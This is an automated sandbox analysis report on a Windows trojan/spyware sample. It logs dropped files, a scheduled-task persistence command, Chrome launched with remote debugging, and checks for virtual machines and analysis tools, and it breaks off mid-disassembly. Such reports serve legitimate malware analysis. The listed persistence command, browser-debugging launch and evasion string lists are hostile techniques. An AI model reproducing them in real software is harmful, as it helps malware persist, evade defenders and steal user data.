Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C215A70 appears 72 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C213560 appears 43 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C215980 appears 82 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C213820 appears 31 times
One or more processes crash
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5236 -s 1204
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: file.exe Static PE information: Section: utmcruzd ZLIB complexity 0.9943969274836322
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@21/7@16/5
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\NxbOQuLmnb Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2408:120:WilError_03
Source: C:\Users\user\Desktop\file.exe Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5236
Source: C:\Users\user\AppData\Local\Temp\service123.exe Mutant created: \Sessions\1\BaseNamedObjects\GGwYrvoAHrnYCVXBzTzh
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\service123.exe Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\Desktop\file.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\file.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\file.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\file.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\file.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\file.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\file.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: chrome.exe, 00000003.00000002.2473645385.00006B2400700000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: file.exe ReversingLabs: Detection: 39%
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2368 --field-trial-handle=2264,i,13592779823444466378,7570623517769425458,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\service123.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5236 -s 1204
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: C:\Users\user\Desktop\file.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2368 --field-trial-handle=2264,i,13592779823444466378,7570623517769425458,262144 /prefetch:8 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: hfinuaynqgsndswnddpz.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: hfinuaynqgsndswnddpz.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: hfinuaynqgsndswnddpz.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: hfinuaynqgsndswnddpz.dll Jump to behavior
Source: file.exe Static file information: File size 4450816 > 1048576
Source: file.exe Static PE information: Raw size of is bigger than: 0x100000 < 0x283c00
Source: file.exe Static PE information: Raw size of utmcruzd is bigger than: 0x100000 < 0x1b7200
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_00218230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError, 7_2_00218230
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: file.exe Static PE information: real checksum: 0x44b69f should be: 0x44c730
PE file contains sections with non-standard names
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: utmcruzd
Source: file.exe Static PE information: section name: bpfvcxoi
Source: file.exe Static PE information: section name: .taggant
Source: service123.exe.0.dr Static PE information: section name: .eh_fram
Source: HFInUAYNqgsnDSwNdDpz.dll.0.dr Static PE information: section name: .eh_fram
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_0021A521 push es; iretd 7_2_0021A694
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1F0C30 push eax; mov dword ptr [esp], edi 7_2_6C1F0DAA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1BED10 push eax; mov dword ptr [esp], ebx 7_2_6C1BEE33
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C194E31 push eax; mov dword ptr [esp], ebx 7_2_6C194E45
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C188E7A push edx; mov dword ptr [esp], ebx 7_2_6C188E8E
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C18A947 push eax; mov dword ptr [esp], ebx 7_2_6C18A95B
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1BEAB0 push eax; mov dword ptr [esp], ebx 7_2_6C1BEBDB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C192AAC push edx; mov dword ptr [esp], ebx 7_2_6C192AC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1A8AA0 push eax; mov dword ptr [esp], ebx 7_2_6C1A909F
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C190AA2 push eax; mov dword ptr [esp], ebx 7_2_6C190AB6
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1C2BF0 push eax; mov dword ptr [esp], ebx 7_2_6C1C2F24
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1C2BF0 push edx; mov dword ptr [esp], ebx 7_2_6C1C2F43
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C188435 push edx; mov dword ptr [esp], ebx 7_2_6C188449
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1A8460 push eax; mov dword ptr [esp], ebx 7_2_6C1A8A5F
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C18048B push eax; mov dword ptr [esp], ebx 7_2_6C1804A1
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1804E0 push eax; mov dword ptr [esp], ebx 7_2_6C1806DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C161CFA push eax; mov dword ptr [esp], ebx 7_2_6C216622
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C161CFA push eax; mov dword ptr [esp], ebx 7_2_6C216622
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C18A5A7 push eax; mov dword ptr [esp], ebx 7_2_6C18A5BB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1C2620 push eax; mov dword ptr [esp], ebx 7_2_6C1C2954
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1C2620 push edx; mov dword ptr [esp], ebx 7_2_6C1C2973
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1D06B0 push eax; mov dword ptr [esp], ebx 7_2_6C1D0A4F
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1806A2 push eax; mov dword ptr [esp], ebx 7_2_6C1806DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1806A6 push eax; mov dword ptr [esp], ebx 7_2_6C1806DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1806FD push eax; mov dword ptr [esp], ebx 7_2_6C1806DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1866F3 push edx; mov dword ptr [esp], ebx 7_2_6C186707
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C18070E push eax; mov dword ptr [esp], ebx 7_2_6C1806DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C18A777 push eax; mov dword ptr [esp], ebx 7_2_6C18A78B
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C190042 push eax; mov dword ptr [esp], ebx 7_2_6C190056
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C15E0D0 push eax; mov dword ptr [esp], ebx 7_2_6C216AF6
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C15E0D0 push edx; mov dword ptr [esp], edi 7_2_6C216B36
Source: file.exe Static PE information: section name: utmcruzd entropy: 7.955754964210386
Drops PE files
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\HFInUAYNqgsnDSwNdDpz.dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\service123.exe Jump to dropped file

Boot Survival
barindex
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: file.exe, 00000000.00000003.2025094948.00000000077E9000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: PROCMON.EXE
Source: file.exe, 00000000.00000003.2025094948.00000000077E9000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: X64DBG.EXE
Source: file.exe, 00000000.00000003.2025094948.00000000077E9000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: WINDBG.EXE
Source: file.exe, 00000000.00000003.2025094948.00000000077E9000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\*RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX*.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: file.exe, 00000000.00000003.2025094948.00000000077E9000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: WIRESHARK.EXE
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1468D69 second address: 1468D7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F6AA0FF7BF6h 0x0000000a jbe 00007F6AA0FF7BF6h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1468D7A second address: 1468D97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6AA0FFB738h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1468D97 second address: 1468DC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebx 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pushad 0x0000000c popad 0x0000000d jnl 00007F6AA0FF7BF6h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 jng 00007F6AA0FF7C0Bh 0x0000001c jmp 00007F6AA0FF7BFFh 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14695FC second address: 1469607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 146AFE4 second address: 146AFE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 146AFE9 second address: 146B00A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6AA0FFB728h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6AA0FFB732h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 146B00A second address: 146B03E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6AA0FF7C0Ch 0x00000008 jmp 00007F6AA0FF7C06h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push esi 0x00000014 pushad 0x00000015 jmp 00007F6AA0FF7BFCh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 146B128 second address: 146B12E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 146B12E second address: 146B143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007F6AA0FF7BFCh 0x0000000f ja 00007F6AA0FF7BF6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 146B308 second address: 146B30E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 146B30E second address: 146B3CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 jc 00007F6AA0FF7BFCh 0x0000000f mov dword ptr [ebp+122D1B6Eh], edx 0x00000015 push 00000000h 0x00000017 mov edx, esi 0x00000019 push AFD2E1E0h 0x0000001e jmp 00007F6AA0FF7C06h 0x00000023 add dword ptr [esp], 502D1EA0h 0x0000002a push 00000003h 0x0000002c mov dword ptr [ebp+122D231Eh], edx 0x00000032 push ecx 0x00000033 mov edi, dword ptr [ebp+122D28C5h] 0x00000039 pop esi 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push esi 0x0000003f call 00007F6AA0FF7BF8h 0x00000044 pop esi 0x00000045 mov dword ptr [esp+04h], esi 0x00000049 add dword ptr [esp+04h], 0000001Dh 0x00000051 inc esi 0x00000052 push esi 0x00000053 ret 0x00000054 pop esi 0x00000055 ret 0x00000056 pushad 0x00000057 jc 